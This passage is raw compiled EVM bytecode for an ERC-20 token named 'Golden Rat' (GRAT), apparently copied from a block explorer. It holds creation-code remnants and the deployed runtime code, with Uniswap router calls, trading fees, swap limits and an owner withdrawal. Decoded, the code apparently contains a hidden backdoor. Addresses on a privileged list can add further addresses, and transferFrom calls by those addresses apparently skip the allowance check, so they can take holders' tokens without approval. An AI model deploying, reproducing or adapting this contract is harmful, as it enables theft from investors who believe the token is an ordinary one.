00473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480611b3e575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b611b4a575f9050611b4f565b600190505b92915050565b5f838311158290611b9c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b939190612360565b60405180910390fd5b505f8385611baa9190612e78565b9050809150509392505050565b5f808303611bc7575f9050611c28565b5f8284611bd491906127d8565b9050828482611be39190612ed8565b14611c23576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c1a90612f78565b60405180910390fd5b809150505b92915050565b5f611c6f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061228f565b905092915050565b5f80600267ffffffffffffffff811115611c9457611c93612f96565b5b604051908082528060200260200182016040528015611cc25781602001602082028036833780820191505090505b50905030815f81518110611cd957611cd8612fc3565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611d7d573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611da191906128fd565b81600181518110611db557611db4612fc3565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250505f60085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d06ca61f85846040518363ffffffff1660e01b8152600401611e4c9291906130a7565b5f60405180830381865afa158015611e66573d5f803e3d5ffd5b505050506040513d5f823e3d601f19601f82011682018060405250810190611e8e91906131e8565b905080600181518110611ea457611ea3612fc3565b5b602002602001015192505050919050565b6001600a60156101000a81548160ff0219169083151502179055505f600267ffffffffffffffff811115611eec57611eeb612f96565b5b604051908082528060200260200182016040528015611f1a5781602001602082028036833780820191505090505b50905030815f81518110611f3157611f30612fc3565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611fd5573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611ff991906128fd565b8160018151811061200d5761200c612fc3565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506120733060085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610fa7565b60085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660095f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b815260040161213695949392919061322f565b5f604051808303815f87803b15801561214d575f80fd5b505af115801561215f573d5f803e3d5ffd5b50505050505f600a60156101000a81548160ff02191690831515021790555050565b60105f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f193505050501580156121e5573d5f803e3d5ffd5b5050565b5f61222a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611b55565b905092915050565b5f8082846122409190612ddd565b905083811015612285576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161227c906132d1565b60405180910390fd5b8091505092915050565b5f80831182906122d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122cc9190612360565b60405180910390fd5b505f83856122e39190612ed8565b9050809150509392505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f612332826122f0565b61233c81856122fa565b935061234c81856020860161230a565b61235581612318565b840191505092915050565b5f6020820190508181035f8301526123788184612328565b905092915050565b5f604051905090565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6123ba82612391565b9050919050565b6123ca816123b0565b81146123d4575f80fd5b50565b5f813590506123e5816123c1565b92915050565b5f819050919050565b6123fd816123eb565b8114612407575f80fd5b50565b5f81359050612418816123f4565b92915050565b5f806040838503121561243457612433612389565b5b5f612441858286016123d7565b92505060206124528582860161240a565b9150509250929050565b5f8115159050919050565b6124708161245c565b82525050565b5f6020820190506124895f830184612467565b92915050565b612498816123eb565b82525050565b5f6020820190506124b15f83018461248f565b92915050565b5f805f606084860312156124ce576124cd612389565b5b5f6124db868287016123d7565b93505060206124ec868287016123d7565b92505060406124fd8682870161240a565b9150509250925092565b5f61251182612391565b9050919050565b61252181612507565b811461252b575f80fd5b50565b5f8135905061253c81612518565b92915050565b5f6020828403121561255757612556612389565b5b5f6125648482850161252e565b91505092915050565b5f60ff82169050919050565b6125828161256d565b82525050565b5f60208201905061259b5f830184612579565b92915050565b5f602082840312156125b6576125b5612389565b5b5f6125c3848285016123d7565b91505092915050565b6125d5816123b0565b82525050565b5f6020820190506125ee5f8301846125cc565b92915050565b5f806040838503121561260a57612609612389565b5b5f612617858286016123d7565b9250506020612628858286016123d7565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156126b4578086048111156126905761268f612632565b5b600185161561269f5780820291505b80810290506126ad8561265f565b9450612674565b94509492505050565b5f826126cc5760019050612787565b816126d9575f9050612787565b81600181146126ef57600281146126f957612728565b6001915050612787565b60ff84111561270b5761270a612632565b5b8360020a91508482111561272257612721612632565b5b50612787565b5060208310610133831016604e8410600b841016171561275d5782820a90508381111561275857612757612632565b5b612787565b61276a848484600161266b565b9250905081840481111561278157612780612632565b5b81810290505b9392505050565b5f612798826123eb565b91506127a38361256d565b92506127d07fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846126bd565b905092915050565b5f6127e2826123eb565b91506127ed836123eb565b92508282026127fb816123eb565b9150828204841483151761281257612811612632565b5b5092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f61284d6020836122fa565b915061285882612819565b602082019050919050565b5f6020820190508181035f83015261287a81612841565b9050919050565b7f54726164696e6720697320616c7265616479206f70656e0000000000000000005f82015250565b5f6128b56017836122fa565b91506128c082612881565b602082019050919050565b5f6020820190508181035f8301526128e2816128a9565b9050919050565b5f815190506128f7816123c1565b92915050565b5f6020828403121561291257612911612389565b5b5f61291f848285016128e9565b91505092915050565b5f60408201905061293b5f8301856125cc565b61294860208301846125cc565b9392505050565b5f819050919050565b5f819050919050565b5f61297b6129766129718461294f565b612958565b6123eb565b9050919050565b61298b81612961565b82525050565b5f60c0820190506129a45f8301896125cc565b6129b1602083018861248f565b6129be6040830187612982565b6129cb6060830186612982565b6129d860808301856125cc565b6129e560a083018461248f565b979650505050505050565b5f815190506129fe816123f4565b92915050565b5f805f60608486031215612a1b57612a1a612389565b5b5f612a28868287016129f0565b9350506020612a39868287016129f0565b9250506040612a4a868287016129f0565b9150509250925092565b5f604082019050612a675f8301856125cc565b612a74602083018461248f565b9392505050565b612a848161245c565b8114612a8e575f80fd5b50565b5f81519050612a9f81612a7b565b92915050565b5f60208284031215612aba57612ab9612389565b5b5f612ac784828501612a91565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f612b2a6024836122fa565b9150612b3582612ad0565b604082019050919050565b5f6020820190508181035f830152612b5781612b1e565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f612bb86022836122fa565b9150612bc382612b5e565b604082019050919050565b5f6020820190508181035f830152612be581612bac565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f612c466025836122fa565b9150612c5182612bec565b604082019050919050565b5f6020820190508181035f830152612c7381612c3a565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f612cd46023836122fa565b9150612cdf82612c7a565b604082019050919050565b5f6020820190508181035f830152612d0181612cc8565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f612d626029836122fa565b9150612d6d82612d08565b604082019050919050565b5f6020820190508181035f830152612d8f81612d56565b9050919050565b5f612da0826123eb565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612dd257612dd1612632565b5b600182019050919050565b5f612de7826123eb565b9150612df2836123eb565b9250828201905080821115612e0a57612e09612632565b5b92915050565b7f4d61782073776170206c696d69740000000000000000000000000000000000005f82015250565b5f612e44600e836122fa565b9150612e4f82612e10565b602082019050919050565b5f6020820190508181035f830152612e7181612e38565b9050919050565b5f612e82826123eb565b9150612e8d836123eb565b9250828203905081811115612ea557612ea4612632565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f612ee2826123eb565b9150612eed836123eb565b925082612efd57612efc612eab565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f612f626021836122fa565b9150612f6d82612f08565b604082019050919050565b5f6020820190508181035f830152612f8f81612f56565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b613022816123b0565b82525050565b5f6130338383613019565b60208301905092915050565b5f602082019050919050565b5f61305582612ff0565b61305f8185612ffa565b935061306a8361300a565b805f5b8381101561309a5781516130818882613028565b975061308c8361303f565b92505060018101905061306d565b5085935050505092915050565b5f6040820190506130ba5f83018561248f565b81810360208301526130cc818461304b565b90509392505050565b5f80fd5b6130e282612318565b810181811067ffffffffffffffff8211171561310157613100612f96565b5b80604052505050565b5f613113612380565b905061311f82826130d9565b919050565b5f67ffffffffffffffff82111561313e5761313d612f96565b5b602082029050602081019050919050565b5f80fd5b5f61316561316084613124565b61310a565b905080838252602082019050602084028301858111156131885761318761314f565b5b835b818110156131b1578061319d88826129f0565b84526020840193505060208101905061318a565b5050509392505050565b5f82601f8301126131cf576131ce6130d5565b5b81516131df848260208601613153565b91505092915050565b5f602082840312156131fd576131fc612389565b5b5f82015167ffffffffffffffff81111561321a5761321961238d565b5b613226848285016131bb565b91505092915050565b5f60a0820190506132425f83018861248f565b61324f6020830187612982565b8181036040830152613261818661304b565b905061327060608301856125cc565b61327d608083018461248f565b9695505050505050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f6132bb601b836122fa565b91506132c682613287565b602082019050919050565b5f6020820190508181035f8301526132e8816132af565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f4a9dfe62df3f510c20efcd1ca969ad5d32b8541b3db5cdb37311cb3a157074e64736f6c634300081a0033
Deployed Bytecode
0x608060405260043610610101575f3560e01c8063751039fc1161009457806395d89b411161006357806395d89b4114610310578063a9059cbb1461033a578063c637029e14610376578063dd62ed3e1461038c578063ef25cd03146103c857610108565b8063751039fc1461027c5780637febdd481461029257806381748f5b146102bc5780638da5cb5b146102e657610108565b806324d7059a116100d057806324d7059a146101d8578063313ce5671461020057806370a082311461022a578063715018a61461026657610108565b806306fdde031461010c578063095ea7b31461013657806318160ddd1461017257806323b872dd1461019c57610108565b3661010857005b5f80fd5b348015610117575f80fd5b506101206103de565b60405161012d9190612360565b60405180910390f35b348015610141575f80fd5b5061015c6004803603810190610157919061241e565b61041b565b6040516101699190612476565b60405180910390f35b34801561017d575f80fd5b50610186610438565b604051610193919061249e565b60405180910390f35b3480156101a7575f80fd5b506101c260048036038101906101bd91906124b7565b61045b565b6040516101cf9190612476565b60405180910390f35b3480156101e3575f80fd5b506101fe60048036038101906101f99190612542565b61053f565b005b34801561020b575f80fd5b50610214610651565b6040516102219190612588565b60405180910390f35b348015610235575f80fd5b50610250600480360381019061024b91906125a1565b610659565b60405161025d919061249e565b60405180910390f35b348015610271575f80fd5b5061027a61069f565b005b348015610287575f80fd5b506102906107ed565b005b34801561029d575f80fd5b506102a6610883565b6040516102b3919061249e565b60405180910390f35b3480156102c7575f80fd5b506102d0610889565b6040516102dd919061249e565b60405180910390f35b3480156102f1575f80fd5b506102fa61088f565b60405161030791906125db565b60405180910390f35b34801561031b575f80fd5b506103246108b6565b6040516103319190612360565b60405180910390f35b348015610345575f80fd5b50610360600480360381019061035b919061241e565b6108f3565b60405161036d9190612476565b60405180910390f35b348015610381575f80fd5b5061038a610910565b005b348015610397575f80fd5b506103b260048036038101906103ad91906125f4565b6109fc565b6040516103bf919061249e565b60405180910390f35b3480156103d3575f80fd5b506103dc610a7e565b005b60606040518060400160405280600a81526020017f476f6c64656e2052617400000000000000000000000000000000000000000000815250905090565b5f61042e610427610fa0565b8484610fa7565b6001905092915050565b5f6009600a610447919061278e565b633b9aca0061045691906127d8565b905090565b5f61046784848461116a565b6104718484611a13565b156105345761053384610482610fa0565b61052e856040518060600160405280602881526020016132f060289139600e5f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6104e5610fa0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611b559092919063ffffffff16565b610fa7565b5b600190509392505050565b600f5f61054a610fa0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16610598575f80fd5b8060105f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600f5f60105f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555050565b5f6009905090565b5f600d5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6106a7610fa0565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610733576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161072a90612863565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6107f5610fa0565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610881576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161087890612863565b60405180910390fd5b565b60125481565b60115481565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f4752415400000000000000000000000000000000000000000000000000000000815250905090565b5f6109066108ff610fa0565b848461116a565b6001905092915050565b610918610fa0565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161099b90612863565b60405180910390fd5b5f47116109af575f80fd5b6109b7610fa0565b73ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f193505050501580156109f9573d5f803e3d5ffd5b50565b5f600e5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b610a86610fa0565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b12576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b0990612863565b60405180910390fd5b600a60149054906101000a900460ff1615610b62576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b59906128cb565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d60085f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610bfe3060085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a610bea919061278e565b633b9aca00610bf991906127d8565b610fa7565b60085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610c68573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610c8c91906128fd565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610d12573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610d3691906128fd565b6040518363ffffffff1660e01b8152600401610d53929190612928565b6020604051808303815f875af1158015610d6f573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610d9391906128fd565b600a5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610e1a30610659565b5f80610e2461088f565b426040518863ffffffff1660e01b8152600401610e4696959493929190612991565b60606040518083038185885af1158015610e62573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610e879190612a04565b5050506001600a60166101000a81548160ff0219169083151502179055506001600a60146101000a81548160ff021916908315150217905550600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610f5d929190612a54565b6020604051808303815f875af1158015610f79573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610f9d9190612aa5565b50565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611015576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161100c90612b40565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611083576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161107a90612bce565b60405180910390fd5b80600e5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161115d919061249e565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036111d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111cf90612c5c565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611246576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161123d90612cea565b60405180910390fd5b5f8111611288576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161127f90612d78565b60405180910390fd5b5f61129161088f565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156112ff57506112cf61088f565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561133757503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b801561136f57503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561172d57600a60159054906101000a900460ff166113c7576113c460646113b6600554600754116113a3576003546113a7565b6004545b85611bb790919063ffffffff16565b611c2e90919063ffffffff16565b90505b600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611470575060085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156114c35750600f5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b801561151c575060105f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156115395760075f81548092919061153390612d96565b91905055505b5f61154330610659565b905061154d61088f565b73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16141580156115955750600a60159054906101000a900460ff16155b80156115ed5750600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b8015611646575060105f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b801561165e5750600a60169054906101000a900460ff165b801561166d5750600654600754115b1561172b57600c54431115611684575f600b819055505b61168d83611c77565b600b5461169a9190612ddd565b600b81905550601254600b5411156116e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116de90612e5a565b60405180910390fd5b60115481111561170d5761170c836011541161170557601154611707565b835b611eb5565b5b5f4790505f81106117225761172147612181565b5b43600c81905550505b505b61177d82600d5f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546121e990919063ffffffff16565b600d5f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506118206117d482846121e990919063ffffffff16565b600d5f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461223290919063ffffffff16565b600d5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f811115611960576118b981600d5f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461223290919063ffffffff16565b600d5f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611957919061249e565b60405180910390a35b61dead73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611a0d578273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6119f784866121e990919063ffffffff16565b604051611a04919061249e565b60405180910390a35b50505050565b5f600f5f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1615611ab557600f5f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16159050611b4f565b600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480611b3e575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b611b4a575f9050611b4f565b600190505b92915050565b5f838311158290611b9c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b939190612360565b60405180910390fd5b505f8385611baa9190612e78565b9050809150509392505050565b5f808303611bc7575f9050611c28565b5f8284611bd491906127d8565b9050828482611be39190612ed8565b14611c23576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c1a90612f78565b60405180910390fd5b809150505b92915050565b5f611c6f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061228f565b905092915050565b5f80600267ffffffffffffffff811115611c9457611c93612f96565b5b604051908082528060200260200182016040528015611cc25781602001602082028036833780820191505090505b50905030815f81518110611cd957611cd8612fc3565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611d7d573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611da191906128fd565b81600181518110611db557611db4612fc3565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250505f60085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d06ca61f85846040518363ffffffff1660e01b8152600401611e4c9291906130a7565b5f60405180830381865afa158015611e66573d5f803e3d5ffd5b505050506040513d5f823e3d601f19601f82011682018060405250810190611e8e91906131e8565b905080600181518110611ea457611ea3612fc3565b5b602002602001015192505050919050565b6001600a60156101000a81548160ff0219169083151502179055505f600267ffffffffffffffff811115611eec57611eeb612f96565b5b604051908082528060200260200182016040528015611f1a5781602001602082028036833780820191505090505b50905030815f81518110611f3157611f30612fc3565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611fd5573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611ff991906128fd565b8160018151811061200d5761200c612fc3565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506120733060085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610fa7565b60085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660095f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b815260040161213695949392919061322f565b5f604051808303815f87803b15801561214d575f80fd5b505af115801561215f573d5f803e3d5ffd5b50505050505f600a60156101000a81548160ff02191690831515021790555050565b60105f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f193505050501580156121e5573d5f803e3d5ffd5b5050565b5f61222a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611b55565b905092915050565b5f8082846122409190612ddd565b905083811015612285576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161227c906132d1565b60405180910390fd5b8091505092915050565b5f80831182906122d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122cc9190612360565b60405180910390fd5b505f83856122e39190612ed8565b9050809150509392505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f612332826122f0565b61233c81856122fa565b935061234c81856020860161230a565b61235581612318565b840191505092915050565b5f6020820190508181035f8301526123788184612328565b905092915050565b5f604051905090565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6123ba82612391565b9050919050565b6123ca816123b0565b81146123d4575f80fd5b50565b5f813590506123e5816123c1565b92915050565b5f819050919050565b6123fd816123eb565b8114612407575f80fd5b50565b5f81359050612418816123f4565b92915050565b5f806040838503121561243457612433612389565b5b5f612441858286016123d7565b92505060206124528582860161240a565b9150509250929050565b5f8115159050919050565b6124708161245c565b82525050565b5f6020820190506124895f830184612467565b92915050565b612498816123eb565b82525050565b5f6020820190506124b15f83018461248f565b92915050565b5f805f606084860312156124ce576124cd612389565b5b5f6124db868287016123d7565b93505060206124ec868287016123d7565b92505060406124fd8682870161240a565b9150509250925092565b5f61251182612391565b9050919050565b61252181612507565b811461252b575f80fd5b50565b5f8135905061253c81612518565b92915050565b5f6020828403121561255757612556612389565b5b5f6125648482850161252e565b91505092915050565b5f60ff82169050919050565b6125828161256d565b82525050565b5f60208201905061259b5f830184612579565b92915050565b5f602082840312156125b6576125b5612389565b5b5f6125c3848285016123d7565b91505092915050565b6125d5816123b0565b82525050565b5f6020820190506125ee5f8301846125cc565b92915050565b5f806040838503121561260a57612609612389565b5b5f612617858286016123d7565b9250506020612628858286016123d7565b9150509250929050565b7f4e487b710000